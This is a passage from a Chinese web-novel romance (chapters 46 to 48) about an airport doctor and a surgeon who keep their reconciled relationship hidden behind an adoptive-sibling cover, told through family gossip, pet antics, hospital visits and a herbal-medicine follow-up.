“我跟你说,这么老的树都是有神的,我们隔壁村那棵,大前年不是突然死了吗,倒下来的时候里面都蛀空了,你们知道为什么?” 听的人立刻当捧哏:“是么,为什么啊?” “他们村出了个在西北哪里当市长的,你们记得吧?” “记得!怎么不记得,哎哟,每年清明祭祖的时候,他们都得意的嘞,好像出了个总统一样!” 说到这里还要很不屑地切一声,继续:“不知道的还以为人家多么关照他们,给了他们什么好处呢。” 别人就劝她:“哎呀,这就跟家里有很出息的小孩一样啊,你大姑姐的小孩考上容大的时候,你不也很得意?” 接着立刻回到初始话题:“然后呢,这个人跟这棵树有什么关系?” “因为那棵树倒下过了一个月,那个市长就被抓啦!你们说,这是不是预兆,是不是树有灵气?树有灵,保佑他们除了人才,结果呢,这是个大蛀虫!” 大家立刻议论纷纷,还别说,听起来好像真的有点什么关联。 “难怪我上个月去他们村买鸡饲料的时候,路过他们祠堂,看见他们那对灯笼不见了,以前不是还说这灯笼是谁谁送的,是对家乡后辈的期盼,希望自己可以成为他们的引路明灯,哦哟,现在灯熄咯~” 说到最后,那幸灾乐祸的意味真是太浓了。 齐眉抱着猫,在一旁听得津津有味,她现在理解为什么孙茂芸不想出去避暑了。 避什么暑啊,避暑哪有吃瓜愉快,再说了,树荫底下也不热啊! 这时有人发现他们了,纷纷打招呼,喊的却是年年,“年年你又来散步啦?今天晚一点哦,是刚吃完饭吗?” 年年咧着个嘴,乖巧地任由大家摸它狗头,适应十分良好。 倒是金金怎么都不肯下地,齐眉一问它下不下来玩,它就把脸往她怀里拱,要藏到她胳肢窝里面去。 齐眉哭笑不得,掂了掂它,说:“不愿意就算了,我们看一会儿风景就回去啦,看人跳舞好不好?” 江问舟刚想把猫要过来,就听有人问孙茂芸:“孙姐,这两个就是你家小孩吧?” “是啊,他们难得周末都不上班,就回来吃个饭。”孙茂芸笑眯眯地点头回答道。 接着听人问起小孩在哪儿上班啊,她就乐呵呵地说:“女儿在机场当急救医生,儿子在容医大一附院,今年刚回来的,以前在申城上班。” 语气听起来十分骄傲和高兴。 所以听的人都很给面子地夸起齐眉和江问舟来,什么长得漂亮啦,果然是龙生龙凤生凤啦,诸如此类,齐眉听得都想抠头皮。 末了听到有人问:“孙姐,你家小孩有对象没有啊?” 完啦!又到了适龄单身男女绝对无法逃避的环节!!! 齐眉不敢再听下去了,看看时间也快出来了半个小时,她忙赶在对方前面对孙茂芸道:“干妈,差不多了,我和舟哥先回去了好不好?开车要两个多小时咧。” 孙茂芸哭笑不得:“你怕什么,我不催你找!” “……催什么?找什么呀,我都听不懂。”齐眉眨眨眼,坚决不承认自己是逃避这个话题。 倒是把大人都逗得笑起来,连江问舟都忍俊不禁,伸手拍拍她后脑勺。 齐眉尴尴尬尬,好在时间确实不算早,等年年又跟大家玩了一会儿,明显有些累了,她才抱着猫,跟着牵狗的江问舟赶紧溜之大吉。 走的时候还听到有人问孙茂芸:“孙姐,你女儿怎么叫你干妈啊?” 容城哪个地方有这么个叫法吗?倒是同省其他地方,有为孩子的八字什么的缘故,让管亲生父母叫叔叔婶婶的。 孙茂芸闻言,爽快回答道:“就是干女儿嘛,朋友的小孩,两口子很早就走了,因公牺牲,小孩一个人没人带,容城这边教育条件好,所以我们就接过来了……” 走远了一点,还能听到她跟别人夸自己平时多懂事多贴心,齐眉一时有些脸热。 她扭头看江问舟,想说点什么,却看见他脸上柔和的笑意,在灯光下好看得不像话,一时又忘了要说什么。 察觉她的视线,江问舟扭头,问她:“怎么了?” 齐眉摇摇头,回过头去,等走到了没人的地方,才单手抱着猫,空出一边手,勾住了他的小指。 江问舟一愣,先是以为她是不小心碰到的,等低头一看,就看见他们两根小指正勾在一起。 就是那样轻轻地勾搭着,在昏暗的灯光下遮遮掩掩,若即若离,就像他们如今的关系,明明是恋人,却要借着兄妹的名分,才可以有一些在人前的亲昵。 听起来既心酸,又很刺激呢,江问舟不由得失笑。 齐眉疑惑地看着他,问他:“笑什么?” “没什么。”江问舟摇摇头,笑道,“真没想到,我们西西力气那么大啊,都可以单手抱快十斤的猫了。” “才十斤,哪里重了。”齐眉哼哼,“我还扛过上百斤重的人呢,虽然是跟同事一起。” 那就是在机场出现意外的旅客了。 江问舟失笑,问起她在工作中遇到的事,每天在医务点都做什么,会不会很无聊,诸如此类。 絮絮地聊着,安静的村道上只有他们的声音和身影,在灯光下的影子摇摇晃晃着,最后还是贴到了一起。 第47章 第四十七章(二合一)还是妹妹贴心啊…… 从家里回到齐眉住处,已经快晚上十一点,江问舟让她先把金金带上楼,他先带年年去小区里再跑一圈。 必须保证它真的累了,回到家能倒头就睡,这样就不会因为精力无处释放而拆家。 等他和年年遛弯回家,就看见金金正蹲在卫生间门口的地垫上,冲着门嗷嗷叫。 走近了还能听到浴室里面传出的水声。 江问舟很无语:“……你现在又多了一个怕她淹死的对象了是不是?” 金金仰着脸看向他,啊了一声,大眼睛里满是担忧。 小猫的表情怎么有时候会那么好懂啊,江问舟忍俊不禁,弯腰将它抱起来,往上抛了两下。 安慰它道:“放心,没事的,有我在,小猫不要担心,好不好?” 说着亲亲它后脑勺,把它往年年那边送。 卫生间的门可没什么很好的隔音效果,外面的动静里面的齐眉能听得一清二楚。 听到江问舟用哄小朋友的语气跟金金说话,她不由得有些莞尔。 轮流洗漱后可以休息,已经是半夜十二点多,齐眉最后盘腿坐在床边往胳膊上擦身体乳。 听见推门声,她抬起头,看见江问舟身上穿着的黑色睡衣上布满猫猫头,忍不住噗嗤笑出声来。 笑得江问舟当即一愣:“……笑什么?” 齐眉抿着唇摇摇头,反问他:“这套睡衣怎么质量这么好,四五年了还没坏,是在哪里买的呀?” 江问舟嘴角一抽,过去一把捏住她的脸,扯了扯:“不知道啊,等我回去问问我女朋友。” 齐眉闻言哈哈笑起来,连连点头,对对对,这睡衣是她买的,还买的是情侣装,男款是黑色有白猫,女款是米白色有黑猫。 她想起来在江问舟的住处,入门的地垫都是旧物,还有车里的旧抱枕,忍不住吐槽道:“都用那么久的东西了,你怎么还带回来,快递行李的费用都不知道能买多少新的了。” “……我乐意收破烂,你管得着么。”江问舟被她这个问题问得心里的旧气又拱了起来,没好气地瞪她一眼。 听起来有些幽怨呢,齐眉眨眨眼,决定先不跟他计较。 而是腿一伸,从床上跪坐起来,伸手捧着他的脸,笑眯眯地问他:“你收破烂的啊,那我是什么,也是破烂吗?” 好家伙,第一次听到有人上赶着代入自己是破烂的,你最好不是无理取闹:) 江问舟都被她气笑了,搂着她的腰就把人扑进被褥里,压在她身上,咬了一口她的下巴,才问道:“你去我那边看金金的时候,进去过书房吗?” 齐眉一愣:“……没有,怎么了?” 那是他的书房,关着门的,里面那么多文件之类的东西,她也不方便进去啊,而且也没问过他同意,再是亲密关系,这点边界感还是要有的。 但江问舟现在这么问是什么意思? 可江问舟似乎没有为她解惑的打算,只说:“下次再去,记得进去看看。” “里面是不是有什么呀?”齐眉眼睛一转,戳着他胸口问道。 江问舟摇头失笑:“书房还能有什么,不就是书和办公用品,你的书房有什么,我的书房就有什么。” 顿了顿,想到她这边的格局布置,又失笑:“哦,我那儿的书房比你这边多几堵墙。” 齐眉一乐,知道这个问题是问不出什么来了,便转口问道:“你今天怎么会……突然跟干爸干妈说出去避暑的事啊,好像以前以前都没有这习惯?” 江问舟张口就要解释:“容城天气热,人容易出问题……” 还没说完就被齐眉打断,怀疑地问道:“真是这样?真的只是这么想?” 江问舟扭头看见她眼睛里狡黠的笑意,说到一半的话就这么咽了回去,变成一种略带遗憾的叹息。 “我还以为能把他们支开呢,那样家里就是我们的天下了,可是现在看来……是完全失败喽。” 齐眉:“……”就知道你憋不出什么好屁:) 她没好气地白一眼这人,把他往床的另一边推开,“睡觉睡觉,明天还得上班。” 江问舟顿时失笑,拉着背子朝她后背贴上去,齐眉刚想说天好热,他又不给碰,就别贴着了,还没开口,就听他诶了声。 齐眉微微侧头,用余光去看他,“怎么啦?” “晚上吃饭的时候,说到太胖不好,我想起一件事。”江问舟伸手抱住她,一副睡前瞎几把闲聊点什么的架势。 齐眉哦了声,翻身和他面对面,问道:“什么事?” “我以前轮科,去泌尿的时候刚好是暑假,有一天晚上来了个小胖墩,十岁,妈妈带来的。” “晚上去?小孩子去泌尿能看什么,尿路感染?还是来咨询割□□?” 每年暑假都是小男生们做这个手术的高峰期,往门诊手术室一看,一排都是穿着裙子的小男生,都是来做这个手术的。 江问舟摇头,反身先把灯关了,然后才道:“是家长带来咨询那什么……小鸡鸡的大小,说感觉不对劲。” 齐眉:“???” 她半晌才啊了声:“家长是……怎么感觉到不对劲的呢?具体哪里不对劲?” “说是爸爸带去游泳,洗澡的时候观察到的,回来查了资料,觉得孩子是短小了一点,所以让妈妈带来给医生看看,是不是自己多虑了。” 齐眉恍然大悟地哦了声,好奇问他:“所以是不是真的比同龄人差一点?” 江问舟嗯了声,说是明显短小,至于具体数字是不记得了,“隔壁组主任的病人,他们在办公室里说,我听听就算了,总不好直接凑过去看稀奇,小孩子自尊心受不了的。” 说的也是这个理,齐眉点点头,叹口气:“养儿子还要注意这个呀?” “可不么,小孩子不好吃太胖,小男生太胖了有问题,小女生太胖了也有问题。”江问舟顿了顿,又说,“其实养孩子都很难,你还记不记得组胚学过的内容,一个受精卵要发育成胎儿,平安降生,再平安长大,中间要闯过多少关卡。” “首先,成为一颗受精卵就很不容易。”齐眉边说边点头,额头磕在江问舟的胸口上。 他笑着把她抱住,轻轻拍拍她的背。 齐眉被拍得迷迷糊糊,快要睡着的时候,突然听到江问舟又说话了。 “一直都你问我,现在换我问你了。”他说,“你下午跟爸妈说的那件事,什么跟姨夫在一起的,只是单纯聊八卦?” 他的声音温温和和,还有些低,近似于耳语,可齐眉还是一下就惊醒了。 她眨眨眼,在只能堪堪看清五指轮廓的光线里,准确无误地摸到江问舟的脸。 接着从他面颊滑向耳侧,捏了捏他的耳垂。 声音含糊:“我就是想试试……呃、总不能真的让你一直鸭都不如吧?” 江问舟先是一愣,旋即反应过来,眼底瞬间便有热意浮现。 她终究还是勇敢地迈出了第一步。 江问舟有种终于等到云开月明的感慨,他激动得翻身向齐眉压过去,紧紧将她裹在怀里。 他用最热烈急切的吻回应她,低声在她耳边说:“你好好吃药,快点好啊。” 还是一样的话,但情绪和之前每一次都不一样,变得急切许多。 齐眉的中药总共是五天,吃完要去复诊那天,刚好是下夜班,也是周五。 她前一天晚上休息的时候还跟陈羽丹说:“太好了,我们又能休息一个周末,下周体检就该结束了吧?” 陈羽丹应了声是,从上铺探头下来看她:“眉姐你的体检做了吧?” “做了啊,别的都没事,但是我咳嗽没好,说不定白细胞会有点高。”齐眉叹口气。 “但是你的咳嗽好像是好点了诶。”陈羽丹道,“看来中药是有点用。” 齐眉叹气:“要是再没用我也不知道该怎么办才好了。” “肯定没事的啦。”陈羽丹笑嘻嘻地安慰道。 齐眉懒洋洋地应了声好,问她:“你在那边住得怎么样,没什么问题吧?” “很好啊,太爽了。”陈羽丹把头缩回去,笑嘻嘻的声音传来,“我第一次发现,自己一个人住真爽啊,没有人唠唠叨叨,嫌弃我睡懒觉,说我不做家务,还说我没女孩样,真清净啊!” 齐眉听完莞尔,问她:“那你那个相亲对象呢,不来往了吧?” 陈羽丹又把头探出来:“报告组织,已经不来往啦!” 说完她撇撇嘴,“他还跟介绍人说我不真诚,不和他谈,还花他的钱,苍天啊,我们才见了几次啊,每次吃饭花钱都超不过二百,都是团购的,这么介意的话,我跟他说要把钱A给他的时候,他干嘛说不要啊?!” “这么抠嗷?”齐眉忍不住吐槽,“一开始也没说这事必成啊,这不是聊下来觉得不合适么,怎么这样啊……” “就是说嘛!”陈羽丹大吐苦水,说她爸妈还因为这件事数落她,说她要求太高了,“说什么差不多就可以了,以后磨合好就行了,我说我不喜欢那样的人,他们就说我是翅膀硬了吧啦吧啦,无语。” “日子怎么可能跟谁过都一样啊,眉姐你说对吧?”她问齐眉。 齐眉立刻点点头,连声应是。 在和江问舟复合之前,她一度觉得,自己一个人过完这辈子也没什么不好,因为她这辈子大概率是找不到另一个像他那样好的人了。 见过一百分的人,为什么要勉强自己去将就六十分的呢? 正说到这里,齐眉的手机响了,一看来电显示,是江问舟。 她接起来,第一句就是问:“你不会现在才下班吧?” 江问舟在另一头哭笑不得:“现在已经十一点多了,我也不至于这么忙吧?” “这谁说得好,万一来个急诊手术呢?”齐眉笑嘻嘻地应道,问他,“你在做什么呀?” “遛狗。” 早上齐眉送年年去宠物店时就说,家里人傍晚有可能会来接它,留了江问舟的号码,所以他下班后很顺利就把年年接回来了。 “楼下还有别家在遛狗,是一条陨石边牧。”江问舟道,“它和年年好像很熟。” “橙子吗?”齐眉问道。 “我不认识,它家长是男的,发型是飞机头,看上去跟我年纪差不多,也认识年年,还问我是年年的谁,看起来有点好奇,又有点警惕,为什么?” 齐眉听了一阵噗呲噗嗤地乐,解释道:“橙子爸爸没见过你嘛,肯定很好奇啊,至于警惕,是担心……你是不是偷狗的……” 江问舟一时无语到说不出话来。 “那你是怎么介绍自己的?”齐眉像是感受不到他的无语,只关心,“你是年年的谁呀?” 最后这一句笑嘻嘻的,听起来有种娇俏甜腻的撒娇意味,上铺陈羽丹的耳朵立刻就竖了起来。 江问舟听到齐眉的问题,嗤了声,有些无奈:“我是年年舅舅,怎么了,有什么事吗?” 齐眉嘻嘻笑了两声,问他还有别的事么,“我得睡觉啦,医嘱有让我早点睡。” “明天给你约了复诊,下午三点,提前二十分钟签到,别忘了。”江问舟嘱咐道。 齐眉老实地应好,电话刚挂断,陈羽丹的头就往床外一伸,又来看她,八卦道:“眉姐,谁的电话呀?听起来声音很不一样哦。” 齐眉一愣:“……哪里不一样?” “有点夹。”陈羽丹实话实说,“跟你和我现在说话就不一样,不——一——样!” 齐眉:“……” 她犹豫片刻,还是实话实说:“是我男朋友。” 陈羽丹一愣,下意识地嗷了一声,但立刻又捂住嘴,震惊地看着齐眉:“……真的假的?怎么这么快……呃、从来没听你说过,谁啊?不是我们单位的吧?” 齐眉摇摇头,抿着唇笑笑:“我和我前男友复合了。” 陈羽丹眨眨眼,半晌才消化了这个消息,咚一下躺回床上,嘟囔着什么我就知道谁家正常前男友会特地来接前女友下班啊…… 休息室里的灯光这时被齐眉按灭了,她躺下,用被子遮住自己嘴角的笑。 ————— 夏天天亮得早,六点就已经天光大作,齐眉早早就醒了,洗漱后擦完脸,刚好六点四十分。 回头一看,陈羽丹也从卫生间出来了。 “我先出去开门,你一会儿再来。”齐眉交代了她一句,转身往外走。 陈羽丹正往手心里倒爽肤水,闻言赶紧问她:“要帮你点早餐吗?” “不吃。”齐眉头也不回地应道,下夜班的早上她总是习惯了不吃早饭。 习惯不好,但总也改不掉。 齐眉从休息室出来,先把医务室的大门开了,然后转身去观察室更换床单和开消毒灯。 出来的时候看见保洁阿姨在打扫卫生,便笑着打声招呼:“周阿姨辛苦啦。” “你也这么早就起来啦。”保洁阿姨笑着回她一句,跟她说外面下雨,絮叨几句这天气阴晴不定。 陈羽丹出来的时候,正好有旅客过来,就是因为下雨路滑,不小心摔倒,膝盖上擦破皮来处理伤口的。 俩人一直忙到九点都过了五分,接班的刘医生这才来了,齐眉终于可以下班回家。 “外面还下雨呢,不等停了再走吗?”刘医生追到门口问道。 齐眉已经大步走出了一段,闻声回头冲她摆摆手,说还有事,得快点回去。 外面雨下得很大,齐眉开车从停车场出来,才真正感觉到雨势,说是瓢泼大雨毫不为过,但天色看起来还好,一点都不暗。 受雨势阻挡,齐眉回到家时已经快十一点,这时雨势渐渐小了,天色也渐渐开明。 金金和年年一个趴在窗边,一个趴在猫爬架上,都脸冲着窗外在闷头大睡,听见齐眉回来的动静,又*一起向她飞奔。 齐眉被一猫一狗扑了个满怀,笑着将它们抱进怀里,弯着腰走进客厅。 然后问年年:“下雨了,你还要出去吗?给你穿个雨衣。” 接着问金金:“金金去不去?” 猫狗不会说人话,齐眉便按照自己的想法,给它们穿上雨衣,然后…… 一家三口在单元楼门口反复试探彼此和拉拉扯扯,齐眉试图带它们雨中漫步,它们很努力地反抗发神金的老妈。 最终以金金突然挣脱齐眉的手向电梯跑去,跟在上楼的邻居后面进了电梯,结束了这场拉扯。 邻居一边笑着劝她不要为难孩子啦,一边看着金金发出嘬嘬嘬的声音,笑道:“你又养了一只猫啊?真漂亮,价格不便宜吧?” “家里人养的。”齐眉笑着回答,将狗绳卷在一边手腕上,另一边手要去抱金金。 可给孩子吓坏了,生怕她又要带自己去淋雨,赶紧往角落里钻,得亏电梯里就齐眉和邻居两个人,不然肯定会吓到其他人。 回到家门口,一开门,它们俩就直往自己的窝里冲,金金钻进猫爬架下方的窝里团成一团,年年的窝没东西遮挡,它便用爪子把头紧紧捂住。 齐眉乐得哈哈大笑,一不小心就被口水呛到,一边咳嗽,一边追过去把金金扯扯出来,将它身上的雨衣脱掉,再捏捏它的腿。 坏笑道:“谁的腿像鸡腿呀?原来是我们金金呀,啃一口。” 金金嗷地一下,从她怀里挣脱,又躲了起来。 年年也走了一遍差不多一样的流程,不过它的是像羊腿,齐眉说要啃,它立刻凑过来要舔她,也不知道谁啃谁。 齐眉轮流逗了一遍猫狗,就已经是中午十二点了,她赶紧去洗澡换衣服,出来之后给自己煮了一碗云吞。 江问舟周五上午是门诊,今天来的大部分病人都是复诊的,工作量相对来说要小一点,十二点半的时候就结束了。 回办公室的路上他边走边看手机,看到齐眉在信息里绘声绘色地讲金金和年年如何跟她抗争不愿意出门,还附上它们穿着雨衣站在单元楼门口的照片。 言辞间尽是得意,仿佛很快活,看得江问舟一阵无语。 忍不住劝她:【放过它们吧,尊重孩子的兴趣爱好和生活习惯,好吗[无语]】 齐眉不知道在做什么,也没立刻回复信息,江问舟也没管,回到科室就先去看病人,转了一圈回来差不多一点,热饭的时候再看手机,就有齐眉的回复了。 但却没有接着前面的话题,而是知会他:【我现在出门咯,顺便给你带了下午茶[转圈]】 江问舟顿时莞尔,看吧,这关系才刚恢复,他的待遇就好起来了,前段时间纪叔叔在这边住院,她也经常过来,给爸妈他们带下午茶,人人都有,就他没有,要不是大人给他留一份,他还捞不着一口吃的。 看来哥哥的待遇还是没有男朋友好哈,江问舟这么一想,突然就有点不高兴了:) 齐眉出门时雨基本停了,路上都是积水,她车开得慢,到一附院时已经过了中午一点半。 得益于前段时间经常来探望纪叔叔,齐眉对通往心外科一病区的路已经熟到不能再熟,加上中午的住院部人流不算多,刚给江问舟发完信息,她就顺利进了电梯。 几分钟后,电梯停靠心外科一病区,电梯门刚打开,齐眉就看见在门口站着的江问舟。 她一面从人群中间往外挤,一面疑惑地问他:“你要出去吗?” 江问舟失笑:“来接你。” 齐眉哦哦两声,又好奇:“你怎么知道我是这班电梯?” “撞运气。”江问舟一面答应,一面接过她手里的袋子,“给我带了什么?” “咖啡和蛋挞。”齐眉应道,“蛋挞是在路上买的,就蓝天路入口那里那家面包店。” “这咖啡是……”江问舟看一眼奶茶袋,觉得提在手里沉甸甸的,应该不止一杯,“现在不止咖啡店做奶茶,奶茶店也做咖啡了。” 虽然是这么个事,但是,“咖啡是我在家做的啦,袋子是之前买奶茶留下的,保温袋嘛,我觉得平时肯定有用。” 喏,现在不就用上啦,果然垃圾都是暂时没用的资源。 江问舟一愣,旋即有些惊讶地反问她:“……自己做的?” “不信呀?”齐眉扭头看他。 “怎么会不信,但是……”江问舟叹口气,伸手摸摸她脑袋,“太麻烦,下次不要这么累,直接买就好了。” 顿了顿,又问:“前几天我奖金到账了,看到了么?” 齐眉想想最近收到的信息,点点头:“看到了,怎么啦?” “一部分我还了青年路那边的房贷,剩下的中午给你转了账,看到了么?”江问舟又问。 这下齐眉就愣了,诶了声:“……是么,我还没看呢。” 边说边打开手机看信息,刚看到自己的卡收到转账多少多少,就听到有人同他们打招呼:“江医生你妹妹来啦?” 妹妹……齐眉耳朵不由得一热。 完啦,以后她还怎么见江问舟的同事,之前来过那么多次,大家都知道她是江问舟的妹妹了,以后…… 齐眉戴着口罩,脸上的表情被隔得看不清,可江问舟还是从她的眉眼间看到了尴尬,不由得忍俊不禁。 “咳嗽,来复诊,顺便上来坐坐。”他忍住笑回答道。 话音刚落,迎面见到宋主任,宋主任一时没认出齐眉,但看她样子不像是病人家属,于是疑惑:“小江,这是?” 江问舟顿时更想笑了,“嗯……我妹妹,上次就是她店里有客人捡到玄凤鹦鹉,您家喳喳。” 宋主任恍然大悟,笑呵呵地跟她道谢,然后很欣慰地道:“它现在和我原来养的那对虎皮关系好了,能一起玩了,就是怕晚上睡觉它会炸笼,所以没让它们一起住。” 还说:“我爱人特别喜欢喳喳,天天在家就带着,让它站肩膀上,难得它也亲人,我看着属于是玄鸡里头胆子比较大的,可能跟见过世面有关系……” 他一说起鹦鹉来就有点刹不住车,好在齐眉也觉得有意思,不仅认真听,还想看照片,“有拍视频吗主任?” “有的有的,我给你看。”宋主任乐颠颠德地掏出手机,给她看自己和老伴儿拍的照片和视频。 喜滋滋地表示玄凤学说话的能力是比虎皮强一点,听听,恭喜发财说得多么清楚! 齐眉边看边连连点头:“是诶,它好可爱,是不是胖了点?毛也长回来不少了,也干净了,原来这么好看的呀,毛茸茸的,虎皮会不会啄它?” “还行,主要是虎皮本身就有伴儿,注意力不大在它那儿,新鲜几天就过了,它主要还是亲人,人多陪陪它也行,我老伴儿在书房工作的时候就带着它,它会趴在电脑旁边看,看累了就打瞌睡,很听话的。” “啊,这样好可爱呀,真好,我们家狗上不了桌,猫倒是能上,但是它会捣乱……” 俩人叽叽喳喳,边说边跟着江问舟进了办公室,直到江问舟咖啡都快分完了,俩人才聊完鹦鹉。 正巧这时郭主任也过来了,他是拿签好字的病历过来的,看见齐眉,便笑着问了句:“齐眉过来了?” “老师好。”齐眉忙乖巧叫人。 “听说你最近不舒服,好了没有?”郭主任一面问,一面拉了两张椅子,让她也坐。 江问舟递给齐眉一杯咖啡,齐眉立刻递给郭主任,笑道:“自己做的拿铁,您尝尝。” 江问舟接着给他递过去一块蛋挞,郭主任接过,笑眯眯地问齐眉:“不会蛋挞也是你自己做的吧?” “面包店买的。”齐眉连忙摇摇头,有些不好意思似的,“其实也能自己做,但时间来不及,而且家里的太简单啦,没有店里卖的花样多。” 郭主任听了就看一眼江问舟,有些意味深长地笑笑:“还是妹妹贴心啊,是吧?” 江问舟被调侃了一下,难得有些腼腆地抿住嘴唇,觉得耳根有些发烫。 但谁也没发现他的不对劲,除了秦一鸣,他是知道齐眉和江问舟的真实关系的,听到郭主任这句“妹妹”,就觉得很想笑。 但又不能笑,只好瞪着眼死死忍着。 江问舟看他这样子就觉得无语,于是指着他对齐眉道:“这是秦一鸣,你该叫师兄,老师当时可是因为他提醒,才有机会过来的。” 这事在科里,甚至是单位里人尽皆知,要不是秦一鸣通风报信,郭教授就算要跟一附院的领导接上头,也得费一番周折,毕竟申城离容城还是远了点,消息倒也没想象中的那么流通畅达。 齐眉闻言一愣,随即忙同秦一鸣道谢,笑道:“要不是老师回来了,舟哥还不知道什么时候才回来,我……和干爸干妈都很高兴他能回来。” 郭主任听到齐眉的话,又看了眼江问舟,眼神里的揶揄之色更浓。 以前还在申城的时候,每回见齐眉,提起江问舟的父母,都是干爸干妈的叫,顶好就是人家好奇问为什么叫干爸干妈。 江问舟硬着头皮忽略掉自家导师看热闹的目光,听到秦一鸣和齐眉说笑:“以前只在老大的朋友圈见过你,今天终于说上话了。” 其实之前纪叔叔住院,秦一鸣是管床医生,他们就有过交流,那现在是…… 齐眉眨眨眼,有些惊讶地看向江问舟。 江问舟眉眼不动,淡定道:“以前认识我们的人,哪个没在我朋友圈见过你?” 齐眉眨眼的动作更快了,再看秦一鸣时,弯起的笑眼里有很明显的不好意思,“之前纪叔叔住院时我都不知道,不然该请你吃饭的……” 说到这里顿了顿,就听郭主任道:“说到吃饭,前几天我跟你哥说过来半年了也没请你一起吃个饭,他说你咳嗽了还没好,等好了再说,你说你这咳嗽什么时候能好?” 齐眉:“……” 天杀的江问舟你到底拿我咳嗽好了这件事给多少人画了多少饼?!! 她无语得眼睛都向下弯了,对郭主任道:“您别理他,他就是抠,他还跟我说等我咳嗽好了才让我吃炸鸡呢,为什么咳嗽不能吃炸鸡?我可以不吃外面那层面衣的,对吧?” “我可没扣他奖金哈!”郭主任嘬着咖啡,立刻澄清道。 话音刚落,一旁的同事们都忍不住嗤地笑出声来。 陈妍一边听他们说话,一边好奇地打量齐眉,突然说了句:“老大,我觉得你妹妹好像在哪儿见过。” 江问舟一愣,旋即听大家笑起来,说齐眉之前来过办公室几回的,肯定见过啊。 “不不不,是在老大的叔叔住院之前,我感觉好像见过。”陈妍连连摇头,两根手指指着自己眼睛,“就是眉眼有点眼熟,难道是好看的人都有共同之处?” 哎哟,这人真是会说话,齐眉忍不住有些不好意思。 没等大家笑呢,江问舟就想起来了,“机场,我们上次去申城开会,回来的时候在机场见到一次抢救,还碰见了一位医药代表。” 陈妍恍然大悟:“对对对,就是那次,我就说嘛,我记性不会出错哒!” 齐眉有些惊讶:“……啊、那次……那次你们在呀?” 可是江问舟没说过。她仰头去看江问舟。 江问舟拍拍她后背,还没等他说回去再讲,就听陈妍问齐眉:“妹妹是在机场当医生吗,辛不辛苦的?” “一般,不辛苦,但也没前途。”齐眉的注意力转移了,跟陈妍他们聊起天来。 很快就到了两点半,江问舟提醒:“该去签到了,走吧,我陪你去。” 齐眉挠挠脸:“我自己去就好啦。” “下午没什么事,我和你一起。”江问舟坚持,催她赶紧起来。 第48章 第四十八章(二合一)岁月仍似她们来…… 多数情况下,容城人看中医爱去省中医市中医,但来一附院中医科的人也不少,齐眉来的时候,门诊外头的等候椅都被坐满了。 齐眉签了到,被江问舟拉到一旁墙边,一边等着叫号一边问她吃了几天药之后有没有感觉好点。 “有点吧,陈羽丹说我咳嗽是比之前少了。”齐眉想了想,“喉咙发痒的感觉出现得也少了。” “那就好,看来是有效。”江问舟松口气,问她,“体检结果出来没有?” “还没呢。”齐眉摇摇头,接着说起别的事,“你周末休不休息?要不然我们这周末请老师和师母吃饭吧,还是说真的要等我咳嗽好啊?” 不是吧你,真的要坚持把这个大饼烙出来吗? 江问舟被她眼里的嫌弃逗得失笑,伸手揽了一下她的肩膀,“那就听你的,周日请老师吃饭,明天不行,老师要出门诊,我要回办公室处理些实验上的文书工作。” “去哪儿吃,我先订个位?”齐眉忙点点头。 “我来安排,你不要总是自己操心。”江问舟半开玩笑半认真地道,“这样显得我很没用。” 这段感情已经明显可见是她付出得更多了,怎么还能一切都是她来包办,那他该干什么? 齐眉听了歪头看看他的神情,像是考虑了一下似的,半晌才说:“好吧,你来办。” “少操点心吧,小管家婆。”江问舟被她郑重之中有些担忧的态度弄得哭笑不得,抬手拍拍她后脑勺。 齐眉有些不好意思地抿着唇笑笑,“那、谢谢舒医生的事……” “我会办好的。”江问舟立刻点头承诺。 那就没什么事了,齐眉歪着头笑了一下,扭头看挂在墙上的宣传画。 江问舟捏着她左手的手指,在无名指和中指上来回揉捏。 没过多久,听到叫号系统叫到齐眉的名字,俩人就一起进了诊室,厉医生见到他们,笑眯眯地问齐眉:“吃了药感觉怎么样?” “还不错。”齐眉点头答应道,听厉医生仔细问起她这几天的感受,又询问了一遍她的睡眠和胃口之类的基础问题。 把脉的时候他还笑道:“肝火是好点了,看来药很对症,那咱们就继续这样吃?” 齐眉抿着唇点头笑笑,其实心里知道除了药以外,另一个原因也很重要。 另一个原因甚至在起决定性作用。 所以厉医生最后也说:“人这一辈子说长不长说短不短,尽量不要为难自己吧,当然,外人说再多也没用,日子是你自己在过,遇到的某件事到底难不难过,只有你自己才知道,我也只能劝你遇到事尽量想开点。” 说到这里还看一眼江问舟,接下来的话就变成说给他听的了,“家里人要多关心和开导,一起渡过难关,这才是家人存在的意义。” 江问舟连忙老实应是,这个时候他也只是一个普通的患者家属罢了。 把处方往药房一交,齐眉就要先回去了,代煎的药等江问舟下班的时候再带回去。 江问舟送她到电梯口,问她晚上去不去店里。 “去呀,但是我有点拿不准,是把年年和金金都带去,还是只带年年?”齐眉看着他,眨眨眼。 “想带就带,不想带就不带,反正我会去接你。”江问舟好笑地捏捏她的脸。 你以为她真的是在纠结带哪个那就大错特错了,她只是在试探,看看他会怎么回答而已。 齐眉笑嘻嘻地应了声好,冲他摆摆手,随着人流走进电梯。 随后车子从停车场开出,在一附院附近的路口拐向去菜市场的路。 江问舟下班回到家,已经是将近晚上七点,齐眉早就已经出门去店里了,家里空空荡荡,年年和金金也不在。 就这样,江问舟也没觉得家里太安静,总觉得到处都还有他们的影子。 茶几上的水杯和小物件,沙发上歪躺的抱枕,扔在地上的逗猫棒和磨牙棒,到处都是他们痕迹,还有餐桌上齐眉给他留的晚饭。 隔着餐桌罩能看到桌上只放着一份拍黄瓜,还有一张齐眉手写的备忘录:【今天吃海鲜砂锅粥哦,还有菜在蒸锅里,冰箱里有话梅小番茄[笑脸]】 粥在砂锅里,据齐眉说是某次点的煲仔饭外卖就是连锅送来的,她看锅挺好,没舍得扔,洗洗干净继续用了。 再想想装咖啡的奶茶保温袋,江问舟忍俊不禁,他们家齐西西是越来越会过日子了。 他将带回来的中药包放进冰箱,洗了手,这才将砂锅和菜端出去,开始吃晚饭。 其实除了拍黄瓜就一个菜,香煎马鲛鱼,煎得两面金黄,筷子尖扎下去就有蒜瓣肉被分开,齐眉应该是特地加重了调味,煎得咸一点,配粥是一绝。 砂锅粥里有虾有蟹,还有鲍鱼和瑶柱,点缀着芹菜末,鲜甜的香味在入口的一瞬间就充斥整个口腔。 江问舟将大半锅粥和两个菜一扫而空,打扫干净厨房和客厅的卫生,这才提着垃圾袋出门下楼。 等他从家门口坐公交去到齐眉店里,已经将近晚上十点,进门就听见有人喊:“佟哥,要一杯边车!” 店里今晚的音乐放的是摇滚乐,旋律节奏格外动感,好像下一秒就会嗨爆全场,所以客人们说话的声音都忍不住大起来。 